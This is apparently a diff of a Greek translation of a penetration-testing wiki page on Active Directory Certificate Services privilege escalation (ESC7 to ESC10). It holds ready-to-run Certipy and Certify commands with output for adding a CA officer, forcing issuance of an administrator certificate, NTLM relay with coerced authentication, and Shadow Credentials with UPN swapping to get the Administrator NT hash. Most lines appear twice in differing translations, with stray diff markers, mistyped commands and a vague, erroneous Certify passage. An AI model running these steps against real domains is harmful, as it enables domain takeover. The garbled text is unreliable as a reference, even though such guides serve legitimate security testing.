Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικού**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην επίθεση ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **απορριφθεί** - αλλά **στη συνέχεια να εκδοθεί από τον διαχειριστή**.
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδώσουν αιτήσεις πιστοποιητικών που αποτυγχάνουν**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια να εκδοθεί από τον διαχειριστή**.
#### Κατάχρηση
Μπορείτε να **χορηγήσετε στον εαυτό σας το δικαίωμα `Manage Certificates`** προσθέτοντας τον χρήστη σας ως νέο αξιωματικό.
Μπορείτε να **χορηγήσετε στον εαυτό σας το δικαίωμα πρόσβασης `Manage Certificates`** προσθέτοντας τον χρήστη σας ως νέο υπάλληλο.
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
Ο πρότυπο **`SubCA`** μπορεί να ενεργοποιηθεί στον CA με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο.
Ο πρότυπο **`SubCA`** μπορεί να ενεργοποιηθεί στο CA με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -299,9 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Εάν έχουμε πληρούσει τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε **ζητώντας ένα πιστοποιητικό βασισμένο στο πρότυπο `SubCA`**.
Αν έχουμε πληρούνται τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε με **το αίτημα ενός πιστοποιητικού βασισμένο στο πρότυπο `SubCA`**.
**Αυτό το αίτημα θα απορριφθεί**, αλλά θα αποθηκεύσουμε το ιδιωτικό κλειδί και θα καταγράψουμε το αναγνωριστικό του αιτήματος.
**Αυτό το αίτημα θα απορριφθεί**, αλλά θα αποθηκεύσουμε τον ιδιωτικό κλειδί και θα καταγράψουμε το αναγνωριστικό του αιτήματος.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -313,14 +318,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Με τις εντολές **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτησης με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
Με τα **`Manage CA` και `Manage Certificates`** μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτησης με την εντολή `ca` και την παράμετρο `-issue-request <ID αίτησης>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
Και τελικά, μπορούμε να **ανακτήσουμε το εκδοθέν πιστοποιητικό** με την εντολή `req` και την παράμετρο `-retrieve <αναγνωριστικό αίτησης>`.
Και τελικά, μπορούμε **να ανακτήσουμε το εκδοθέν πιστοποιητικό** με την εντολή `req` και την παράμετρο `-retrieve <request ID>`.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -332,62 +337,53 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relay σε τα HTTP σημεία πρόσβασης του AD CS - ESC8
## Προώθηση σελίδας NTLM προς τα σημεία HTTP του AD CS - ESC8
### Εξήγηση
{% hint style="info" %}
Σε περιβάλλοντα όπου έχει εγκατασταθεί το **AD CS**, εάν υπάρχει ένα ευάλωτο **σημείο πρόσβασης για την ιστοσελίδα εγγραφής** και έχει δημοσιευτεί τουλάχιστον ένα **πρότυπο πιστοποιητικού** που επιτρέπει την **εγγραφή υπολογιστή του τομέα και την πιστοποίηση του πελάτη** (όπως το προεπιλεγμένο πρότυπο **`Machine`**), γίνεται δυνατή η **διαρροή ενός υπολογιστή από έναν επιτιθέμενο**!
Σε περιβάλλοντα όπου **είναι εγκατεστημένο το AD CS**, εάν υπάρχει ένα **ευάλωτο σημείο τερματικής εγγραφής στον ιστό** και τουλάχιστον ένα **πρότυπο πιστοποιητικού είναι δημοσιευμένο** που επιτρέπει **την εγγραφή υπολογιστή τομέα και την πιστοποίηση πελάτη** (όπως το προεπιλεγμένο πρότυπο **`Machine`**), γίνεται δυνατή η **διακίνηση ενός υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**!
{% endhint %}
Το AD CS υποστηρίζει αρκετές **μέθοδοι εγγραφής βασισμένες σε HTTP**, που είναι διαθέσιμες μέσω επιπρόσθετων ρόλων διακομιστή που οι διαχειριστές μπορούν να εγκαταστήσουν. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών μέσω HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από ένα **επιτεθέν μηχάνημα, μπορεί να προσομοιώσει οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Προσομοιώνοντας τον λογαριασμό θύμα, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε αυτές τις ιστοσελίδες για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
Πολλές **μέθοδοι εγγραφής με βάση το HTTP** υποστηρίζονται από το AD CS, διατίθενται μέσω επιπλέον ρόλων διακομιστή που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών με βάση το HTTP είναι ευάλωτες σε **επιθέσεις διακίνησης NTLM**. Ένας επιτιθέμενος, από ένα **υπολογιστή που έχει διαρραγεί, μπορεί να προσωποποιήσει οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Προσωποποιώντας τον λογαριασμό θύματος, αυτές οι ιστοσελίδες μπορούν να προσπελαστούν από έναν επιτιθέμενο για **αίτηση ενός πιστοποιητικού πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
* Η **ιστοσελίδα εγγραφής** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλέγει μόνο το πρωτόκολλο HTTP, το οποίο δεν προσφέρει προστασία από επιθέσεις NTLM relay. Επιπλέον, επιτρέπει μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization, καθιστώντας ανεφάρμοστες πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos.
* Ο **Υπηρεσία Εγγραφής Πιστοποιητικού** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικού** (CEP) και η **Υπηρεσία Εγγραφής Συσκευής Δικτύου** (NDES) υποστηρίζουν από προεπιλογή την αυθεντικοποίηση μέσω διαπραγμάτευσης μέσω της κεφαλίδας HTTP Authorization. Η αυθεντικοποίηση διαπραγμάτευσης υποστηρίζει τόσο το Kerberos όσο και το NTLM, επιτρέποντας σε έναν επιτιθέμενο να υποβαθμίσει την αυθεντικοποίηση σε NTLM κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι υπηρεσίες υποστηρίζουν προεπιλογή HTTPS, το HTTPS μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν συνδυάζεται το HTTPS με τη σύνδεση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Αυθεντικοποίηση στο IIS, η οποία απαιτείται για τη σύνδεση καναλιού.
* Η **διεπαφή εγγραφής στον ιστό** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλεγμένα λειτουργεί μόνο με HTTP, το οποίο δεν προσφέρει προστασία ενάντια σε επιθέσεις διακίνησης NTLM. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization της, καθιστώντας ανεφάρμοστες πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos.
* Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών** (CEP) και η **Υπηρεσία Εγγραφής Συσκευών Δικτύου** (NDES) υποστηρίζουν προεπιλεγμένα τη διαπραγμάτευση πιστοποίησης μέσω της κεφαλίδας HTTP Authorization τους. Η διαπραγμάτευση πιστοποίησης υποστηρίζει τόσο το Kerberos όσο και το **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει σε NTLM** πιστοποίηση κατά τις επιθέσεις διακίνησης. Αν και αυτές οι υπηρεσίες ιστού ενεργοποιούν το HTTPS προεπιλεγμένα, το HTTPS μόνο του **δεν προστατεύει ενάντια σε επιθέσεις διακίνησης NTLM**. Η προστασία από επιθέσεις διακίνησης NTLM για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για τη δέσμευση καναλιού.
Ένα κοινό πρόβλημα με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που **απαιτούν NTLM signing**.
Ένα κοινό **πρόβλημα** με τις επιθέσεις διακίνησης NTLM είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η ανικανότητα του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν υπογραφή NTLM**.
Ωστόσο, αυτό το περιορισμό ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν NTLM signing**. Για οδηγίες για τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:
Ωστόσο, αυτό το περιορισμό ξεπερνιέται με την εκμετάλλευση μιας επίθεσης διακίνησης NTLM για την απόκτηση ενός πιστοποιητικού για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **ένα μηχάνημα που ελέγχεται από τον επιτιθέμενο πρέπει να έχει πιστοποίηση από έναν λογαριασμό θύμα**. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να **αναγκάσει** αυτήν την πιστοποίηση:
Ένας άλλος περιορισμός των επιθέσεων διακίνησης NTLM είναι ότι **ένα μηχάνημα που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από ένα λογαριασμό θύματος**. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να **αναγκάσει** αυτήν την πιστοποίηση:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
{% endcontent-ref %}
### Κατάχρηση
### **Κατάχρηση**
Το `cas` του [**Certify**](https://github.com/GhostPack/Certify) απαριθμεί τα **ενεργοποιημένα σημεία πρόσβασης HTTP του AD CS**:
[**Certify**](https://github.com/GhostPack/Certify) το `cas` απαριθμεί τα **ενεργοποιημένα σημεία HTTP του AD CS**:
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από επιχειρησιακές Αρχές Πιστοποίησης (CAs) για να αποθηκεύουν τα άκρα εξυπηρέτησης Υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα άκρα μπορούν να αναλυθούν και να καταχωρηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από επιχειρηματικές Αρχές Πιστοποίησης (CAs) για την αποθήκευση των σημείων υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα σημεία υπηρεσίας μπορούν να αναλυθούν και να καταχωρηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (754).png" alt=""><figcaption></figcaption></figure>
```powershell
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
#### Κατάχρηση με το Certify
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
Η κατάχρηση με το Certify είναι μια τεχνική που εκμεταλλεύεται τις αδυναμίες στη διαχείριση πιστοποιητικών στο περιβάλλον του Active Directory. Αυτή η τεχνική μπορεί να οδηγήσει σε ανέπαφη αύξηση δικαιωμάτων στο περιβάλλον του AD.
Οι βήματα για την κατάχρηση με το Certify είναι:
1. Εγκατάσταση του Certify στον ελεγκτή του τομέα (Domain Controller).
2. Συλλογή πιστοποιητικών από τον ελεγκτή του τομέα.
3. Ανάλυση των πιστοποιητικών για την εύρεση ευπαθειών.
4. Εκμετάλλευση των ευπαθειών για την αύξηση δικαιωμάτων.
Η κατάχρηση με το Certify είναι μια ισχυρή τεχνική που μπορεί να χρησιμοποιηθεί για την επέκταση των δικαιωμάτων σε ένα περιβάλλον Active Directory. Είναι σημαντικό να είμαστε προσεκτικοί και να λαμβάνουμε τα κατάλληλα μέτρα ασφαλείας για να προστατεύσουμε το περιβάλλον μας από αυτήν την επίθεση.
#### Κατάχρηση με Certify
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -404,9 +400,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Κατάχρηση με το [Certipy](https://github.com/ly4k/Certipy)
Η αίτηση για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή βασισμένη στο πρότυπο `Machine` ή `User`, που καθορίζεται από το αν το όνομα λογαριασμού που προωθείται τελειώνει σε `$`. Η καθορισμός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`.
Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο `Machine` ή `User`, που καθορίζεται από το εάν το όνομα λογαριασμού που μεταδίδεται τελειώνει σε `$`. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`.
Έπειτα, μπορεί να χρησιμοποιηθεί μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) για να εξαναγκαστεί η ταυτοποίηση. Όταν ασχολούμαστε με ελεγκτές του τομέα, απαιτείται η καθορισμός της παραμέτρου `-template DomainController`.
Ένα τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να επιβάλει την ταυτοποίηση. Όταν ασχολείστε με ελεγκτές τομέων, απαιτείται η καθορισμός της παραμέτρου `-template DomainController`.
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -419,43 +415,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
## Επέκταση χωρίς ασφάλεια - ESC9 <a href="#5485" id="5485"></a>
## Χωρίς Επέκταση Ασφάλειας - ESC9 <a href="#id-5485" id="id-5485"></a>
### Εξήγηση
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, γνωστή και ως ESC9, αποτρέπει την ενσωμάτωση της **νέας επέκτασης ασφαλείας `szOID_NTDS_CA_SECURITY_EXT`** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν η ρύθμιση `StrongCertificateBindingEnforcement` είναι ίση με `1` (η προεπιλεγμένη ρύθμιση), σε αντίθεση με την ρύθμιση `2`. Η σημασία της αυξάνεται σε περιπτώσεις όπου μπορεί να εκμεταλλευτείται μια αδύναμη αντιστοίχιση πιστοποιητικού για το Kerberos ή το Schannel (όπως στο ESC10), καθώς η απουσία του ESC9 δεν θα επηρεάσει τις απαιτήσεις.
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, γνωστή ως ESC9, αποτρέπει την ενσωμάτωση της **νέας επέκτασης ασφάλειας `szOID_NTDS_CA_SECURITY_EXT`** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `1` (η προεπιλεγμένη ρύθμιση), το οποίο αντίθετα με τη ρύθμιση `2`. Η σημασία της αυξάνεται σε σενάρια όπου μια αδύναμη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel μπορεί να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα αλλάξει τις απαιτήσεις.
Οι περιπτώσεις υπό τις οποίες η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν:
- Η ρύθμιση `StrongCertificateBindingEnforcement` δεν έχει προσαρμοστεί σε `2` (με την προεπιλεγμένη τιμή να είναι `1`), ή η `CertificateMappingMethods` περιλαμβάνει τη σημαία `UPN`.
- Το πιστοποιητικό είναι σημειωμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`.
- Το πιστοποιητικό καθορίζει οποιαδήποτε EKU για την επαλήθευση του πελάτη.
- Υπάρχουν δικαιώματα `GenericWrite` σε οποιονδήποτε λογαριασμό για να διακινδυνεύσει έναν άλλο.
Οι συνθήκες υπό τις οποίες η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν:
### Σενάριο κατάχρησης
* Το `StrongCertificateBindingEnforcement` δεν έχει προσαρμοστεί σε `2` (με την προεπιλεγμένη τιμή να είναι `1`), ή το `CertificateMappingMethods` περιλαμβάνει τη σημαία `UPN`.
* Το πιστοποιητικό είναι επισημασμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`.
* Οποιαδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό.
* Οι άδειες `GenericWrite` είναι διαθέσιμες για οποιονδήποτε λογαριασμό για να διακινδυνεύσει έναν άλλο.
Ας υποθέσουμε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να διακινδυνεύσει τον `Administrator@corp.local`. Ο πρότυπο πιστοποιητικού `ESC9`, στο οποίο ο `Jane@corp.local` έχει άδεια να εγγραφεί, έχει ρυθμιστεί με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση `msPKI-Enrollment-Flag`.
### Σενάριο Κατάχρησης
Αρχικά, ο κατακερματισμός του `Jane` αποκτάται χρησιμοποιώντας τα Σκιώδη Διαπιστευτήρια, χάρη στο `GenericWrite` του `John`:
Υποθέστε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να διακινδυνεύσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο η `Jane@corp.local` έχει άδεια να εγγραφεί, ρυθμίζεται με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση του `msPKI-Enrollment-Flag`.
Αρχικά, η κρυπτογράφηση της `Jane` αποκτιέται χρησιμοποιώντας τα Shadow Credentials, χάρη στο `GenericWrite` του `John`:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Στη συνέχεια, η `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, προσποιούμενη τον αποκλεισμό του τμήματος του τομέα `@corp.local`.
Στη συνέχεια, η `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, προσβλητικά παραλείποντας το τμήμα του τομέα `@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το `Administrator@corp.local` παραμένει διακριτό ως `userPrincipalName` του `Administrator`.
Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το `Administrator@corp.local` παραμένει διακριτικό ως `userPrincipalName` του `Administrator`.
Ακολουθώντας αυτό, ο πιστοποιητικός πρότυπο `ESC9`, που έχει επισημανθεί ως ευάλωτο, ζητείται ως `Jane`:
Ακολούθως, το πρότυπο πιστοποιητικού `ESC9`, το οποίο έχει χαρακτηριστεί ευάλωτο, ζητείται ως `Jane`:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντικατοπτρίζει το `Administrator`, χωρίς κανένα "object SID".
Το `userPrincipalName` της `Jane` επαναφέρεται στο αρχικό της, `Jane@corp.local`:
Στη συνέχεια, το `userPrincipalName` της `Jane` επαναφέρεται στον αρχικό του, `Jane@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Η προσπάθεια πιστοποίησης με το εκδοθέν πιστοποιητικό παράγει τώρα το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει το `-domain <domain>` λόγω της έλλειψης προδιαγραφής του πιστοποιητικού για τον τομέα:
Η προσπάθεια πιστοποίησης με το εκδοθέν πιστοποιητικό παράγει τώρα το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει το `-domain <domain>` λόγω της έλλειψης προδιαγραφής τομέα στο πιστοποιητικό:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -463,30 +460,30 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### Εξήγηση
Οι τιμές δύο κλειδιών μητρώου στον ελεγκτή του τομέα αναφέρονται από το ESC10:
Δύο τιμές κλειδιών μητρώου στον ελεγκτή τομέα αναφέρονται από το ESC10:
- Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από το `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ορισμένη ως `0x1F`.
- Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` κάτω από το `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
* Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ορίστηκε σε `0x1F`.
* Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
**Περίπτωση 1**
Όταν το `StrongCertificateBindingEnforcement` έχει ρυθμιστεί σε `0`.
Όταν το `StrongCertificateBindingEnforcement` ρυθμίζεται ως `0`.
**Περίπτωση 2**
Εάν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`).
### Κατάχρηση Περίπτωσης 1
### Περίπτωση Κατάχρησης 1
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να διακινδυνεύσει οποιονδήποτε λογαριασμό B.
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο ως `0`, ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να διακινδυνεύσει οποιονδήποτε λογαριασμό Β.
Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` πάνω στον λογαριασμό `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να διακινδυνεύσει τον λογαριασμό `Administrator@corp.local`. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.
Για παράδειγμα, με δικαιώματα `GenericWrite` πάνω στο `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να διακινδυνεύσει τον `Administrator@corp.local`. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.
Αρχικά, η κατακερματισμένη τιμή της `Jane` ανακτάται χρησιμοποιώντας τα Shadow Credentials, εκμεταλλευόμενος το `GenericWrite`.
Αρχικά, η κατακρυφής του `Jane` ανακτάται χρησιμοποιώντας τα Σκιώδη Διαπιστευτήρια, εκμεταλλευόμενο το `GenericWrite`.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Στη συνέχεια, η `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, προσεκτικά παραλείποντας το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού.
Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, εσκεμμένα παραλείποντας το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -494,53 +491,53 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
Το `userPrincipalName` της `Jane` επαναφέρεται στην αρχική του τιμή, `Jane@corp.local`.
`Jane`'s `userPrincipalName` επαναφέρεται στην αρχική του τιμή, `Jane@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Η πιστοποίηση με τον ληφθέντα πιστοποιητικό θα παράξει το NT hash του `Administrator@corp.local`, απαιτώντας την καθορισμό του τομέα στην εντολή λόγω της απουσίας λεπτομερειών τομέα στο πιστοποιητικό.
Η πιστοποίηση με το ληφθέν πιστοποιητικό θα παράγει το NT hash του `Administrator@corp.local`, απαιτώντας την καθορισμό του τομέα στην εντολή λόγω της απουσίας λεπτομερειών του τομέα στο πιστοποιητικό.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Περίπτωση Κατάχρησης 2
Με την παράμετρο `CertificateMappingMethods` που περιέχει την σημαία `UPN` (`0x4`), ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να απειλήσει οποιονδήποτε λογαριασμό Β που δεν έχει το χαρακτηριστικό `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανήματος και του ενσωματωμένου διαχειριστή του τομέα `Administrator`.
Με το `CertificateMappingMethods` περιέχοντας το bit flag `UPN` (`0x4`), ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί οποιονδήποτε λογαριασμό Β που λείπει το χαρακτηριστικό `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή του τομέα `Administrator`.
Σε αυτήν την περίπτωση, ο στόχος είναι να απειληθεί ο λογαριασμός `DC$@corp.local`, ξεκινώντας με την απόκτηση του κατακερματισμένου κωδικού του `Jane` μέσω των Shadow Credentials, εκμεταλλευόμενος το `GenericWrite`.
Εδώ, ο στόχος είναι να διαρρεύσει ο λογαριασμός `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω των Shadow Credentials, εκμεταλλευόμενος το `GenericWrite`.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
Το `userPrincipalName` της `Jane` ορίζεται ως `DC$@corp.local`.
